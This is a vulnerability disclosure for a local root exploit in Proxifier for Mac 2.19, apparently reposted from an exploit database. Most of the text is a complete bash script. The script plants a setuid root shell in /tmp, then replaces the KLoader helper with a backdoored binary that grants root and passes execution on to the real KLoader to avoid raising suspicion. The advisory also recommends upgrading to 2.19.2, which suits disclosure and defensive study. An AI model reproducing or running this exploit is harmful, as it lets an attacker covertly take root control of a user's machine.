With CVE-2017-7643 I disclosed a command injection vulnerablity in the KLoader binary that ships with Proxifier <= 2.18. Unfortunately 2.19 is also vulnerable to a slightly different attack that yields the same result. When Proxifier is first run, if the KLoader binary is not suid root it gets executed as root by Proxifier.app (the user is prompted to enter an admin password). The KLoader binary will then make itself suid root so that it doesn't need to prompt the user again. The Proxifier developers added parameter sanitisation and kext signature verification to the KLoader binary as a fix for CVE-2017-7643 but Proxifier.app does no verification of the KLoader binary that gets executed as root. The directory KLoader sits in is not root-owned so we can replace it with our own binary that will get executed as root when Proxifier starts. To avoid raising any suspicion, as soon we get executed as root we can swap the real KLoader binary back into place and forward the execution call on to it. It does require the user to re-enter their credentials the next time Proxifier is run but it's likely most users wouldn't think anything of this. Users should upgrade to version 2.19.2. https://m4.rkw.io/proxifier_privesc_219.sh.txt 3e30f1c7ea213e0ae1f4046e1209124ee79a5bec479fa23d0b2143f9725547ac ------------------------------------------------------------------- #!/bin/bash ##################################################################### # Local root exploit for vulnerable KLoader binary distributed with # # Proxifier for Mac v2.19 # ##################################################################### # by m4rkw, shouts to #coolkids :P # ##################################################################### cat > a.c < #include int main() { setuid(0); seteuid(0); execl("/bin/bash", "bash", NULL); return 0; } EOF gcc -o /tmp/a a.c cat > a.c < #include #include #include #include int main(int ac, char *av[]) { if (geteuid() != 0) { printf("KLoader: UID not set to 0\n"); return 104; } else { seteuid(0); setuid(0); chown("/tmp/a", 0, 0); chmod("/tmp/a", strtol("4755", 0, 8)); rename("/Applications/Proxifier.app/Contents/KLoader2", "/Applications/Proxifier.app/Contents/KLoader"); chown("/Applications/Proxifier.app/Contents/KLoader", 0, 0); chmod("/Applications/Proxifier.app/Contents/KLoader", strtol("4755", 0, 8)); execv("/Applications/Proxifier.app/Contents/KLoader", av); return 0; } } EOF mv -f /Applications/Proxifier.app/Contents/KLoader /Applications/Proxifier.app/Contents/KLoader2 gcc -o /Applications/Proxifier.app/Contents/KLoader a.c rm -f a.c echo "Backdoored KLoader installed, the next time Proxifier starts /tmp/a will become suid root." ------------------------------------------------------------------- # Iranian Exploit DataBase = http://IeDb.Ir [2017-04-14]